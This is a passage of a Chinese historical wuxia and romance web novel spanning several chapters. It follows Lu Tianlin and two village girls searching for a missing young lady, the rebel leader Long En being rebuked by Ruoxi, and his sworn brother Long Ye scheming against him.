这时,陆天麟方才将一直竖在自己手里明晃晃的一把利剑再次举了起来,预备收回到剑鞘里去。 欢儿一见到握在其手里剑刃上的斑斑血迹,顿时朝其双眼一怔片刻,继而又惊声质问道:“陆公子,你把那三只大虫给杀了?” “没有,那只成年大虫只是被我的剑刺伤,落荒而逃了而已。”陆天麟沉声一将话说完,便将宝剑插入到了剑鞘内。 “还好还好,老天保佑,它们都还好好活着。”闻此,欢儿竟顿时展露出了满脸笑颜,双手并拢着,嘴里连连祷告道。 “那只大虫刚才差点儿就要将你俩吞入腹中,打了牙祭,你竟还盼望着它能好好活着?我竟不知,在你这个小丫头的心里,这到底是什么逻辑?”陆天麟看着她此时的样子,惊呆了。 闻此,欢儿顿时露出一脸绯红,悄悄地侧过了身去,好不被人发现,却终究还是逃不过古灵精怪的小妮 子的法眼,她笑着对男子打趣欢儿道:“陆公子有所不知,欢儿姐,她可是活菩萨亲自养大的丫头,不是凡人耶!” “小妮子,你要是想你的这只脚肿地比桃子还要大的话,你就试试继续说下去吧!”欢儿一边厉声朝其说着,一边踱步过去蹲身回到了小妮子的身边,将其刚刚崴了的那只脚抱了起来。 “我不说了,我不说了,欢儿仙女,你就是救苦救难菩萨心肠的天女真身下凡。求求小仙女,你赶快救救我的这只脚吧,快要疼死我了!”小妮子对其依旧耍贫嘴道。 就在欢儿替小妮子疗伤之际,陆天麟看了看四周的险峻环境,不解地开口问道:“你们俩方才在山下不是说上山只是来找野菜嘛,怎么又会到如此危险的地方来了?如果我没记错的话,这里貌似已经不是我西秦的国境了吧?” 闻此,俩个女子默默地低下头来,突然都不约而同地装聋作哑了起来。 陆天麟一见俩人此时心虚极了的反应,便更加确定自己方才上山一路上的心里所想,问道:“你们上山来,根本就不是为了找野菜对吗?你们到底在找什么?” 闻言,俩个女子依然无一人开口吱声,头倒是一起垂的更低了。 陆天麟此时似是已有了些不悦之色浮于脸上,继而对这二人冷哼一声,道:“你们不要以为你们不说话,我便拿你们没了办法。你们看看,这个是什么?” 说着,见他从衣袖里掏出一条本应是洁白无瑕,而此时却沾染上了无数灰尘的蒙面纱巾来,轻轻捉起一角将其展开来伸到了俩个女子的中间。 至此,俩个女子方才不约而同地缓缓抬起头来朝着眼前的物件看去。 小妮子若是元宵夜没注意的话,或许真会不识此物。 然与其朝夕相处已有数日的欢儿,一见到这面纱一角上颇为熟悉所绣上去的一极清秀的“云”字和其旁边的一朵淡蓝色云朵图案,顿时朝其惊声道:“这个...这个你是从哪儿得来的?” 说着,便欲伸手过去将其抢夺过来。然陆天麟却似是早已预料到了她会有此行动一般,飞快地比她更快地将手迅速收回,负于自己身后,吐了口浊气,微微侧过身去对其道:“说吧,这究竟是怎么回事?” 欢儿沉思了片刻之后,一咬牙,终将若曦所有的事情对其原原本本都说了出来。 & 第二百七十一章:峡谷里,神秘的石洞 “那王二是不是会什么凿洞之类的本事?”陆天麟忽然问了句。 “凿洞?我们只听村里人说,王二的父亲生前会凿洞,村里的窑洞都是王二父亲所为。可他父母在他很小的时候便过世了,从未听说过王二也有凿洞的本事啊!”俩个女子顿时四目相对,惊讶地道。 “这跟这条遮面巾又有什么关系呢?”欢儿疑惑地问。 陆天麟还在暗自思量着,尚未及开口说话,欢儿又想起了他开始说的那些话,便着急地问:“对了,陆公子方才说我们未经仔细查看现场所留下的痕迹就冒然进山了,这又是何意?难道…我们寻找的方向错了?” 闻此,陆天麟方才缓缓回过神来,看了俩个女子一眼,单手附后着问道:“我问你们,你们如今已然穿过了整座山林,那是否有见到任何与他俩有关的蛛丝马迹?” 俩个女子四目相对着你看看我,我看看你,最后一起对他无奈地缓缓摇了摇头。 陆天麟幽幽道:“你们当然在山上找不到与他们相关的任何踪迹,因为你们要找的人,根本就没有上山。” 话音刚落,俩个女子便嗖地站起,异口同声道:“不可能。” 明显,在欢儿的帮助下,小妮子的脚伤已经好多了。 稍顿片刻,欢儿回忆着仍然深信不疑地说道:“在山脚下,王二的脚印清清晰晰地,明明就是向着山上延伸而来的呀。” 陆天麟追问:“那你进了山之后,可有再见到他的足迹?” “这个…进了山之后,因为我心下里一害怕,故将那脚印不小心给跟丢了。”欢儿尽管此时想起这一路上的惊险重重,似是仍旧有些后怕着。 这时,陆天麟瞪了瞪欢儿,继而又将目光移到了欢儿身旁小妮子的身上,同问:“那又依你所见呢?” 小妮子支支吾吾的道:“我…我只是清晨在山脚下见过王叔的人而已…后来…我见欢儿姐义无反顾地进了山…怕她一个人会出事…这才…也跟着她后面进了山来。后来就和她一直在一起,亦…什么都没有发现。” 将话说完的时候,小妮子不禁深深地低下了头去。 这时,陆天麟有些气恼地瞪着俩个女子,道“你们俩个毛手毛脚的丫头呀!还说自己不毛糙,竟会逞一时之勇。今日,若不是我及时赶到的话,你们俩必定是要一命呜呼了!” 见到俩个女子已然都低下了头去,却还不知自己究竟哪里错了,陆天麟顿了片刻,有些神秘地朝其说道:“跟我走,我带你们去一个地方,到了你们自然就会知道这一切究竟是怎么回事了。” “可是...可是小妮子的脚……”欢儿看着小妮子受伤的脚,一脸忧色地道。 虽然此时小妮子的脚已可以 勉强站立起,但要在这危机四伏的山涧里穿梭,明显是不可能的。 陆天麟低眼看了那个此时轻抿起小嘴来,有些古灵精怪的女子一眼,随即走到其身边过去,柔声说道:“你若不嫌弃的话,我背你可好?” “啊?”小妮子听了,忽地抬起头来看着陆天麟一双温柔的眼睛惊声道,继而又将目光挪到了欢儿身上,似是在征求她的同意一般。 看到欢儿点头允许,小妮子方才含羞说道:“好吧,那就有劳陆公子了。” 果然,在一身武艺的陆天麟的一路护送下,再陡峭的山路亦显得似乎并没有那么难行了。不止如此,还似乐趣多多的样子。 回去的路上,一到了不好走的地带,他便会以极强的轻功将两名女子轮流相继地带着飞身而过;一遇到什么毒虫野兽之类的,他亦是让俩个女子落座待在一旁看着,只在他弹指一挥,亦或举剑起舞表演的一瞬间,那些毒虫猛兽便灰溜溜地败下阵来,直往四处逃窜了去,惊的俩女子不断兴奋地忍不住为其鼓掌叫好…… 这一路,俩个生长在乡野间的普通女子竟是大开了眼界,如同看戏一般。原来,这世上还有这么厉害的人。而他,是这样的年轻,又英俊,心中不禁对其更加崇拜了起来,三人轻轻松松,有说有笑地,很快便一起走出了那片迷惘又凶险神秘的山林绝地。 就在其一出山林,到达从山脚下那片十里桃林后面而上,暴露在山林外的露天崎岖羊肠小道上时,陆天麟却并没有带她们直接下山,而是半途改道,进到了一片草丛之中,忽然驻足停了下来,低头说道:“你们仔细看看,这是什么?” 俩女子闻声,低头朝其所看向的方向望去,瞬间惊异地面面相觑道:“脚印?...是王二的脚印。” 经过山里的这番折腾,如今怕是王二脚印的长短,宽瘦,早已刻在了俩个女子的记忆里。 “原来,王二真的没有进到山林里去,他要去的地方是……”欢儿望着那脚印所延伸向的远方,喃喃自语道。 寻着时有时无的踪迹,三人一直来到了东山向西北方向所突出来一条夹在东山与西山之间的小峡谷。 脚下是一处并不怎么高的断崖,断崖边的青草地上有几棵海棠树上的海棠花正开的旺盛。 下到峡谷里,只觉冷风徐徐,两旁高山环绕,树木茂盛,郁郁葱葱,中间有一条清澈的溪水顺着河床潺潺流淌着。 忽然,小妮子激动地开口道:“这个地方我知道,这里距离西山很近。我娘以前带我来这里的时候说,以前每逢打雷下雨,进山的人总是没地方歇脚避雨,王叔的父亲便想在沿途附近为大家开凿几个山洞,以备不时之需。可是这 第二百七十二章:最好的消息 话说到一半,欢儿忽然发现门口的草丛有一截明显被什么动物啃食过大半的痕迹,便走过去拨开草丛堆仔细一看,惊声道:“快看,这草丛里有马蹄印,桃花店村里可并没有养马的村民啊!…陆公子,你的马呢?” “这马蹄印不是我的马留下的,我的马在山脚下的桃林里食草呢!”陆天麟疾步过去一看,肯定道。 “那留下这个马蹄印的马又是谁的?肯定不会是王二的,他懒的连自己都养不活,又怎么可能会养一匹马呢?他又生着病,不可能带着衣小姐去哪里,那王二到底去了哪里?衣小姐又去了哪里?这匣珠宝又是怎么回事?” 欢儿此话一出,三人瞬间都一起沉默了下来,周围里一片宁静。 忽然,小妮子的脚似乎因为站的有些久了,略感吃力支持不住,便想要找个地方坐下来歇歇。 于是,她朝四下里一寻,看到旁边角落上有一堆尚未被用过的干柴,随即一瘸一拐地向其走了过去。 正要坐下,却在那堆柴火的边上似是发现了什么,忙道:“你们快看,这里有些血迹和渗上了血的布头,还有一个空酒坛子。” 陆天麟疾步过去仔细一看,又拿起酒瓶来靠近鼻翼闻了闻,继而一双深邃的眼睛突然抬起朝着欢儿一怔,稍作思索后严肃地对其说道:“如今看来,那就只有一种可能了:这匹马的主人确实不是桃花店村里的人,而是一个受了重伤的外乡人,在他受伤之后恰巧遇到了王二,便被王二带到了他刚刚凿成的这个石洞里疗伤……” 话未说完,欢儿便将其打断,似是有些不以为然地问道:“陆公子为何认定这血迹是那个外乡人的,而不会是王二在凿洞的时候不小心伤到的呢?” 陆天麟笑了笑,举起那空酒坛来,道:“我之所以这样说,正是因为这坛酒。” “王二平时也喜好饮酒啊,不知道讹了我多少酒喝呢!”欢儿不悦地道。 陆天麟摇了摇头,浅笑道:“可这坛酒,并不是一坛普通的酒。它乃是城南最有名的醉仙坊里所酿的最上等的女儿红,只供达官显贵们享用。不知在桃花店这样的小小村落里,可会有此酒卖?” 此话一出,欢儿自是瞬间哑口无言,再无异议。却转念又道:“就算陆公子说的都对,可这坛酒又和衣小姐有什么关系呢?” 陆天麟吐了口气,稍作整理幽幽道:“当然有关系。从这所有一切的迹象表明,这匣珠宝本应是那位受伤的外乡人所有的,因为王二救了他的命,他便以此重金来作为酬谢,看这匣珠宝的价值,便知道那人伤的不会轻,否则他不会如此出手阔绰的。然王二却不肯接受他的馈赠,故那外乡人无奈之下,才将此珠宝放在了如此 不起眼,怕是如果不是我们仔细寻找的话,便只有王二才知道的地方。而王二离开之后,那异乡人因为重伤又逢山里大雨,便被滞留在此地歇息,许是期间外出觅食,便恰巧遇到了从西山落入山坡下昏迷不醒的衣小姐,便救起了她,将她亦带到了这里来避雨。衣小姐醒后,因为受到了惊吓,亦是对村子里的一切尚都还陌生,便一时忘记了村子的名字,回不了家。而救她的人又不能将她一个人丢在这深山老林里,故将她也一起带走了。” “那王叔为何不将那个异乡人带回村子里自己的家中养伤呢?”欢儿尚还在认真分析消化其所言,小妮子忙纳闷不解地问。 “或许…他的身份特殊,不便暴露示人罢!”陆天麟望着手里沉沉的珠宝匣子若有所思着,出神地默默道。 话一说完,便忽地飞身而起将匣子又放回了原处。 “如此说来,我们依然就只有找到了王二,才能顺藤摸瓜地找到那个外乡人,才能找回衣小姐咯。”欢儿沉思了许久,恍然大悟道。 “可王二又究竟去了哪儿呢?”王二的脚印到了石洞门口,似是根本就未曾进入洞里来,便再也没了任何痕迹。于是,欢儿又再次黯然神伤了起来。 三人一起沉思了许久,陆天麟忽然开口说道:“王二一定是得知了村民们至今都尚还没有寻到任何有关于衣姑娘的踪迹,便想到了这个唯一能遮风避雨的石洞,亦想到了山里还有那个外乡人存在着,他一定会走出山洞去觅食,也最有可能遇到衣小姐,所以才匆匆上山来的。换句话说,王二一定知道那个外乡人的一些事情,便跟着去找他了。” “可那外乡人究竟去了哪儿?王二的身子那么虚弱,又怎能跋山涉水?”欢儿忧心忡忡地道。 顿了片刻,陆天麟心里似是已经有了主意,便对俩个女子交待道:“欢儿姑娘,小妮子的脚受伤了,已然不能再继续往下走了。所以眼下,你怕是只能先带她回去好好修养身体才是。有关于寻找衣小姐和王二所剩下的事,就都交给我吧。相信我,我一定会将他们都找回来的。” 话音未落,欢儿便激动地一脸坚决道:“不,我要同你一起去找衣小姐。” 见此,小妮子也跟着附和起哄道:“我的脚不碍事的,陆公子,你就让欢儿姐陪你一同去找衣小姐吧!” “可万一若是王二他真的比我更先找到衣小姐回家了呢!毕竟,他才是唯一一个见过那个外乡人的人啊!”陆天麟似是已着急着离去,竟有些不耐烦地扬声道。 看到俩个女子都抿起嘴来一脸难色,陆天麟将两只手默默地搭在了俩个女子的肩头,对其柔声说道:“听我的,你们俩个赶快回去等消息 &n 第二百七十三章:得而复失 欢儿将小妮子平安送回到家里后,依照小妮子在路上早已替她所编排好的说辞,对小妮子的爹娘扯谎说,小妮子是帮她在河边浣洗衣裳,俩人玩闹时不小心才扭伤的脚,亦弄脏了身上的衣裳。 闻此,纯朴善良的小妮子爹娘虽然很是心疼女儿,但终是念在老夫人的面上,亦是俩个孩子之间磕磕碰碰无心至此,且亦并无大碍,便也就真的没再说什么,反倒连连致歉说是给老夫人添麻烦了。 这自是让欢儿的心里更加过意不去,明明是因为自己的粗心大意,俩人不仅白跑了一趟东山,还害的小妮子受伤。如今,反倒变成是小妮子的爹娘向她致歉。 为此,心里顿时对小妮子一家人更是又添了几分惭愧,抿了抿嘴,一边替小妮子极为细心地又按摩了一遍脚踝,一边凝视着同样看着自己眼睛的小妮子一双水汪汪天真无邪的大眼睛,心里暗道:“小妮子,谢谢你!” 从小妮子家中出来的时候,已快至半夜。 整个如同与世隔绝般的村子里,一片银白的月光,正精神地洒落在苍茫的大地上。 周围的虫鸣浅吟声,河水潺潺的流水声,还有那夜里悄悄绽放的春花所散发出来的阵阵幽香,温暖和煦的春风拂面而过,所有一切都一起弥漫在空气中,如同被谪仙所织成的一张巨网般,将这所有静夜里最美好的点点气息全都包裹在里面,恩赐给世间的每一位凡夫俗子。 然欢儿此时却觉得她眼睛所触及到的一草一木,耳朵所听到的一切声音,都似是那般地模糊不真实,就连整个人都昏昏沉沉的,让人有一种如梦如幻的感觉。 可无论她如何憧憬或者想要逃避,如今的现实确实是若曦,不,她真正的身份是城西衣府里尊贵的嫡长女衣小姐,她是真的被弄丢了。 这会儿回去,她又该如何向她的主子交待。此时,她只希望眼前这条回家的路能够变得更长一些,最好永远都没有尽头。 就这样,两只稚嫩的小手不经意地不停揉搓着自己的衣角,一脸黯然,心里忐忑不安又怯怯地独自走在回家的路上。 快到门口的时候,脚步不知不觉地放的越来越慢,却忽然才想起被自己撒掉的饭菜至今都还未清理,随即又加快了脚步。 “是谁打扫的?莫非是…老夫人?”岂料一走到大门外,竟看见地面上早已是干干净净,一尘不染。心里一边纳闷地口中喃喃着,一边忧心忡忡又犹犹豫豫地终是伸手推开了门走了进去。 格外清净的四方形小院落里,一树的海棠花已是绿肥红瘦,静静地竟散发出一股冷清。 院子东头,淡雅肃静的东屋里,一盏昏黄的孤灯下,老妇人正安详地端坐在窗前的桌案边,手里翻动着一 本古籍。 夜已深,许是等了太久,终忍不住打了个哈欠,随即又朝着屋外望了一眼,有些纳闷地嘴里喃喃道:“都已经这么晚了,这俩个丫头怎么还不回来?” 轻叹口气,不禁又想起了白日里陆天麟的一颦一笑,老妇人遂面带着一抹浅笑,入神地陷入到八年前的点点滴滴旧事回忆里。 忽然,似是觉察到了躲在自己门外有些鬼鬼祟祟着的欢儿,却只是微微抬起眼来朝着空荡荡的门口瞥了一眼地上所照出的熟悉的人影,继而再次埋头下去故作将目光落在手中的古籍上,带了些严肃地训斥道:“你们俩终于回来啦!唉,老身都说过你多少次了,遇事要冷静,可你这个笨丫头怎么总是记不住。为何总是这般毛手毛脚的?怎么将好好的饭菜打落了一地,不知道‘粒粒皆辛苦’为何意吗?” 良久,见门口射进来地上的影子许久都默不出声,亦不离去,老妇人心想,该不会是自己太过严厉了,她毕竟还只是个孩子,贪玩是天性。又想起今日主仆俩所遭遇的一切,欢儿定是亦吓得不轻。 于是,她目光不再盯着那本古籍,而是注视着地上的影子,变作柔声地关切问道:“你们俩可都已经吃过饭了?给你们在庖屋里留了饭菜,若是饿了的话就快去吃吧!照顾病人很辛苦,吃完了便早些去歇息,王二都还好吧?” 闻此,门外怯怯地紧靠着墙壁的欢儿,眼里早已噙的越来越满的泪水瞬间夺眶而出。继而一步跨过门槛,疾步奔跑到老妇人的面前,扑通一声跪倒在了她的膝前,紧紧地抱着老妇人的膝盖,掩面痛哭了起来。 老妇人俨然被欢儿此时从未有过的举动惊吓地不轻,忙放下手里的古籍,抚摸着欢儿的脑袋,安抚她道:“傻丫头,你这是怎么了?老身知道今日里让你受了如此之大的惊吓和委屈。都是我的错,若不是我执意急着要去城隍庙里找玄空大师,这一切便都不会发生。尤其是那个陆天麟,陆公子,孩子,你要知道,外人终究是外人,所谓‘见人只说三分话,未可全抛一片心’,我们始终都不知道他究竟是不是心怀鬼胎。在这个世上,有很多开始看起来似是天真无邪,美好的人和事物,随着世事变迁,很多都会在不知不觉中,你我不经意间便都丢失掉其最原本的单纯本性。所以凡说话做事,总要顾忌几分才行啊!人面兽心的 第二百七十四章:聊天,疗心 听了若曦的话,龙恩故意试探问道:“哦?既然如此,那若是找到了那户人家取回了你的东西后,你便就此留在骁龙会里,做我龙恩一辈子的妹妹,如何?” “这个...能蒙龙大哥不弃,若曦心中甚是感激。只是,若曦不幸遭遇意外而失忆,至今连自己是谁都不知道,亦不知自己从何而来,家中是否还有什么亲人在世?他们是否也同样在四处里苦苦寻着若曦。老实说,若曦是想尽快找到那户人家,与其当面致谢道别后,便尽快去寻自己的身世。”若曦面露一丝难色,一边倒茶,一边诚恳说道。 然龙恩闻此,却坐在桌案边挑眉说道:“一个人无牵无挂地生活在这个世上,难道不好吗?我倒是还想失忆呢,如此便可摒弃前半生里所有的喜怒哀乐,宛若重生一般,没有孤独,没有恐惧,一切都重新开始,如活两世,岂不更好...…” 说着说着,他忽然停了下来怔望了若曦一眼,似是觉察到了什么,问道:“你这该不会是躲我的借口吧?你是不是在这里听到了些什么风言风语,怕了我这骁龙会了?” 若曦一边将茶汤恭敬地双手奉上,一边道:“龙大哥又多虑了,若曦只是觉得一个人如果连自己是谁都不知道的话,那便不会知道自己所存在的真正意义了,不是吗?” 龙恩伸手将茶碗接过,眼睛忽然怔了一下,似是亦有些认同地说了句:“说的也是!如果我失忆了,怕是也就一起忘记了我的深仇大恨,不会与朝廷势不两立了吧。如此的话,那我这大半生所有的努力和付出,不就都成为一场徒劳了吗?” 闻此,看到龙恩原本摊平放在案上的一只手掌紧紧地握成了强而有力的拳,眼睛里燃烧着满是仇恨的熊熊怒火,似是都咬牙切齿地在努力隐忍着,若曦便亦缓缓坐了下来在其身旁,忽然柔声问了句:“不知龙大哥可有儿女?” “算是有吧,都怪我始乱终弃,忘恩负义,是我对不起她们母女,这辈子她们怕是也要故意躲着我,再也找不回来了。”龙恩回过神来想了想,说道,默默地抿了口手中的茶汤。 闻此,若曦稍作思量,鼓足了勇气开口一口气说道:“若曦虽不知道龙大哥与朝廷之间到底有着怎样的深仇大恨,可如果有一天,龙大哥遇到了自己的夫人和孩子,她们知道自己的丈夫,父亲竟然是一个大逆不道,制造混乱和杀戮,反叛朝廷的人,她们会怎么想?她们身边的人又会怎么想她们?你又让她们母女俩情何以堪,如何面对这万夫所指?起义弑君,向来都是九死一生,劳命伤财不说,最受苦的可是那些无辜的黎民百姓啊!他们又曾做错了什么?为什么要因为你的一己仇恨而无辜遭受此家 破人亡之大不幸?又或者,在你精心的一手策划之下的某场战争中,那枉送了性命的...正好也有她们母女俩呢?到时候,龙大哥你又该如何面对……” 若曦话似还未说完,龙恩便重重地一掌狠狠拍在了手边的桌案上,雷霆大怒道:“住口,你可知道你是在跟谁说话,又在说些什么吗?我也是受害者,这天下本来就是属于我龙恩的,我才是这泱泱西秦国真正的真命天子,守护者誓死所要守护之人。却凭什么我一出世她便如此狠心地要将我抛弃,为什么,你告诉我为什么?” 然白纱遮面下的若曦闻此,却似乎并不惧怕,反而更加镇定地说道:“你错了,西秦国乃至这个天下并不是只属于某一个人的,而是属于民心的。民心所向,民意所投,这个天下只会属于关心百姓疾苦,拼死守护他们的家园,以命抵抗外强的‘民君‘,‘黎民百姓’的‘民’!昔日,她为了自己的一己私欲狠心抛弃了你,难道你便也要同样抛弃你所应该守护的人,将满腔愤怒全都抛给她们俩个你最深爱的女人吗?那你又和虚荣无情自私的她有何区别?” “我……”龙恩气急败坏猛地抬起头来还想再争辩些什么,岂料一看见眼前这个瘦弱的女子眼中却是满满的强大和坚毅,一时间里竟再也无言以对。 宽敞明亮的屋内顿时一室寂静,只散发出丝丝缕缕刚刚采摘回来的新鲜淡淡药草香。一如这个女子不仅可以不动声色地便能信手拈来这些不起眼的花花草草治人身上的病痛,亦可以三言两语却如雷贯耳般疗人心间的疾苦。 默了半晌后,龙恩终于平复下了些许复杂的心情,方才想起自己来此的目的,便对其开口说道:“对了,我来是想告诉你,这两天,我有事要外出一趟。你眼睛刚刚恢复,就在这里等我,哪里都不要去。等我回来了,亲自带你去寻那户人家取回你的东西。” 明明就是个很会关心人的身体,怎么看都不像是那般无情之人,却如此备受仇恨的煎熬,真是可怜又可悲!若是能放下屠刀,弃恶扬善,必定会是柳暗花明又一村的幸福结局。 若曦盯視着他的眼睛暗自沉思了许久,默默地朝其点了点头。 &nb 第二百七十五章:刀,解决不了所有问题 “少废话,我自有办法,走!”龙烨似是极不耐烦的狠狠训斥了手下一句,便与其一道匆匆离开了后院。 此时,龙恩亦已经对若曦细心地交待好了一切,缓缓从其屋内踱步走了出来,又替其将门轻轻掩上。 刚走下台阶没两步,忽然单手负后,驻足对身后的两名守门的亲信厉声命令道;“本帮主不在的这几日里,你们俩务必寸步不离地将若曦姑娘给本帮主看护好了,就连一只苍蝇也决不允许进入屋内。若曦姑娘要是少了一根汗毛,本帮主定让你们俩个身首异处,绝不姑息,可都听到了?” 闻此,俩名守卫顿时面面相觑着四目相对,互相怔望着彼此满是惊恐的眼睛,片刻后忙抱拳领命道:“谨遵龙帮主之命,属下定当竭尽全力守护好姑娘。” 至此,龙恩方才似是终于安心地大步走出了院子。 从后院里出来,又绕道西院龙烨的屋内想找其做临行前最后的一番交待,岂料却扑了个空,龙烨并不在屋里。于是,他又径自来到了前院骁龙堂前的操练场上。 脚步刚一踏入到骁龙堂极为空旷的院落门口,一放眼看去,骁龙堂门前石阶下偌大的广场上,黑压压一片竟全是些身着红衣舞刀弄枪,正在操练场上奋力搏斗的众弟兄们。 见此情景,龙恩心里不禁顿时甚感欣慰。眼看着成事的时机就在眼前了,他心里暗自想着,这次出去会老朋友再回来的时候,想必定会有很大的进展。 忽然,他瞥见了龙烨果然是在这里。此时,除了所有在忙着为即将到来的一场大战而奋力做着最后准备的人之外,独只有龙烨与一张看起来似是有些陌生的面孔在院子一角落里的梨树下正交头接耳着,鬼鬼祟祟似是在窃窃私语着些什么。 于是,龙恩便佯装着轻掩起嘴来咳了两声:“咳咳。” “大哥?你怎么来了?找我有事?”龙烨猛然闻声,心下里受了惊,便忙结束了交谈。继而又微微做了个手势,那陌生面孔的手下便立刻垂首行礼,兀自匆匆绕过了俩人的身旁,悄悄退了下去。 就在其刚好经过龙恩身边的时候,俩人都不经意地互相瞥了眼对方。 几十年的江湖经验,龙恩似乎隐隐感觉此人的眼里和神情之间总有种说不出的异样,待其一从自己的视线里消失了去,龙恩便一边向着龙烨靠近过去,一边问道:“这个人的面孔看起来甚是生冷,是新来的?怎么好像以前从来都没见过似的,他不用练功?” “哦,他呀,他已经是骁龙会的老人了。只是平日里给他安排的都是些诸如看守后山之类的琐事,偶尔才下山来汇报一些情况。因为很少参加骁龙会的集会,也很少一起练习,故此可能与众弟兄们显得 有些不太合群,也让大哥觉得陌生了吧。”龙烨窃窃地瞄了眼那人离去的背影,说完倒抽了口气。 龙恩一边仔细听,一边暗自思量着,便已近身到了龙烨的身旁,上前将一手搭在其肩上。 俩人便一道踱步走出了门去,踏着一条宽阔大道,缓缓朝向门外的石门边上走去。 龙恩边走边语重心长地对其叮嘱道:“二弟,听说最近璟帝又特派了秦王轩辕翰到处在缉拿和打压各路反贼,你我凡事都要比以往更加谨慎小心些才是啊!这眼看着就要到关键时刻了,可千万切莫让那些可恶的细作混了进来,到时候骁龙会可就……” 岂料龙恩话还没说完,龙烨便气势汹汹地扬声嚣张道:“哼,那璟帝老儿昏庸无道,滥施酷刑。听说不久前,因为公主和亲的事,不惜都将自己身边最亲信的使臣差点儿满门抄斩,那使臣因此也倒向了秦王。而他自己却一心只为求长生,只顾着苛捐杂税,鱼肉百姓。如今早已不是官逼民反,而是天子逼民反,民不得不反了。大哥放心,骁龙会只要有我龙烨在,我倒是想看看,谁有本事敢在我的眼皮子底下做这些偷鸡摸狗之事,我定让他红刀子进去,绿刀子出来,五马分尸,死无葬身之地。” 龙烨所言,句句狠绝。 龙恩听言却劝解其道;“二弟,大哥知道你骁勇善战,可你也需知,‘刀’是解决不了所有问题的。” “即便如此,那不是还有大哥的……” 龙烨似是还想继续再说些什么,岂料龙恩突然顿足伸手一把将其嘴紧紧捂住,半晌后方才缓缓松开,紧接着瞪了他一眼,说道:“二弟,有些话你我兄弟关起门来说说便也罢了,自己心里清楚便是。出了门,可绝对千万不能让第三个人知道啊,否则后果将不堪设想。” 然而龙烨闻此却突然挑了挑眉,微微侧过身去对其漫不经心地说道;“我自是不会将如此重要的事情透漏出去,只是后院里的那个美人儿就不知道了。” “美人…你都知道了?”龙恩闻此大惊失色道。 龙烨冷哼一声,对其气道;“哼,大哥。不是我说你,你怎么能这样做呢?你这样真是让兄弟们太失望了。整天说什么我们骁龙会乃是正义之 第二百七十六章:“龙”姓之谜 龙烨气急败坏地厉声将其打断道:“住嘴,不要再说了,凭什么他可以为所欲为,本帮主却只能去窑子里找那些残花败柳,庸脂俗粉。本帮主就不能也找个黄花闺女玩玩吗?你说...是不是连你也看不起本帮主。好,你滚,马上给我滚回你的后山去,再也不准回来,滚!” “副帮主息怒,副帮主息怒!”手下见其胸中的一团小小火苗已然被自己添油加醋,煽风点火将其彻底点燃,扑通一声跪了下来。 龙烨隐忍着,道:“亏的我还在帮主面前替你遮掩,若不是看在你还有点用处,能帮本帮主出谋划策,本帮主前几日才不会救你,索性让那帮真正毫无人性的马贼将你乱刀砍死在荒郊野外里最好不过了。” “副帮主的救命之恩,属下没齿难忘,此生惟以副帮主马首是瞻,共创大业,绝无二心。”那手下抱拳俯首着信誓旦旦诚恳地道。 龙烨侧着身轻描淡写地瞟了他一眼,吐了口浊气,沉声道:“好了,念在你对本帮主还算是真心,本帮主就暂且留着你的性命,起来吧!” “谢副帮主,那副帮主打算……”手下起身来,兀自又小心翼翼怯怯地探问。 龙烨边走边若有所思地捋了捋那嘬八字须,最后半眯起眼睛来意味深长地对其说道:“哼,这么多年了,看来本帮主真是高看了他了。原来他并不是不近女色,本帮主差点儿就被他给骗了,当真还以为他如此重情重义,对旧人念念不忘,原是他根本就是看不上平日里的那些野花野草啊。警告说谁‘多行不义必自毙’呢?自己都一意孤行如此行事,又如何能服众,简直就是自取灭亡。成日里畏畏缩缩地,久久不敢举事,说什么时机未到。本帮主就不信了,那西秦守护者,左不过也是一个平凡的凡胎肉体而已,究竟能有多神,还真能死而复生不行。没了他龙恩,我龙烨真的就撑不起这个偌大的骁龙会,坐不上西秦国的那张龙椅了吗?” 转眼间,俩人已踱步进到了西院里龙烨的屋内。一进屋,手下便忙着去斟茶。 闻此,他心里顿时一惊,默了会儿,方才将斟好的一碗山茶双手向其奉上,似是心中有些甚为不解地压低了声音问道:“属下有一事不明,有道是‘本是同根生,相煎何太急’,既然副帮主与帮主乃是一奶同胞的亲兄弟,一起坐拥天下,共享富贵又有何妨,却为何会如此针锋相对,以至于竟还想要灭了他呢?” 岂料龙烨一听到这话,顿时将那正欲靠近嘴边的茶碗咚的一声重重地落在手边的桌案上,咆哮大怒起来道:“鬼才跟他是亲兄弟呢!哼,不要以为我龙烨随了他的姓,此生便就会真的把他当回事儿!若是真的惹怒了老子,老子谁都 不认!” “原来副帮主本不姓‘龙’?”手下惊声道。 闻此,龙烨的脸上忽然浮起一抹黯然,叹了一声:“是啊,本帮主到底姓什么呢?本帮主自己竟似乎都忘记了!” 岁月匆匆,时光荏苒。转眼竟已是十几年的时间都过去了,而在这个世上,竟会有人差点儿都快要忘记了自己姓什么。 于是,龙烨一边回忆着,一边入神地幽幽说道:“本帮主以前,乃是城南一大户人家里的管家……” “哦?原来副帮主以前竟也曾有过正经的营生呢!可后来,又怎么会做起这叛逆之事呢?”话未说完,手下便不解地将其打断道。 龙烨哼了一声,继续道:“有一日,那户人家里唯一的一位少爷外出求学回来说,自己在外面看上了一户小门小户人家里的女子。且已经与其私定了终身,生米煮成熟饭了。可那老爷夫人早就已经为爱子费心费力地张罗好了尤为美满,甚是门当户对的一门亲事,只待其求学归来便择日完婚了。那老爷听了这事儿,当场便被气的吐了血,从此缠绵于病榻之上,一病不起。后来,那老夫人苦口婆心,又是禁足,又是禁食的,无论怎么说服儿子都不能将其心意改变半分。最后,百般无奈之下,便将这烫手的山芋交给了本帮主去处理。” “那副帮主是如何处理此事的?那老夫人可曾有明示?”生冷面孔的手下问。 龙烨抿了口茶,继续道:“那老夫人虽一女流之辈,然心肠却颇为歹毒。为了让自己的儿子和他们所默许的门当户对的小姐成亲,她下令本帮主,不惜一切代价也要让那户人家在城南里消失的无影无踪。” “要她们消失的无影无踪...你...杀了那女子满门?”手下惊恐地猜测着道。 龙烨苦笑道:“满门?你所谓的满门,只不过是一穷苦老儒外加一个外孙女而已。况且那时候,本帮主还没有那么大的杀心,便将那...将那女子给卖了?” “卖了?卖给大户人家做使唤丫头?”手下惊问。 龙烨沉默了会儿,道:“年轻的时候,本帮主贯爱赌博与美色,听说城南万娇阁里美女如云,便去转 第二百七十七章:他,不像是坏人 就在兰香使出浑身解数来将那冷面手下步步逼退,直至到门口的一角落上,其后背已然紧贴着墙角再也不得动弹半分,却还跃跃欲试着似是仍未见其有半分停下来的念头。 而那冷面手下面对着眼前如此极具诱惑的一双媚眼以及那张烈焰红唇,再加上其肢体似是颇为熟练的故意挑逗,更是令他似是都快要喘不过气来。 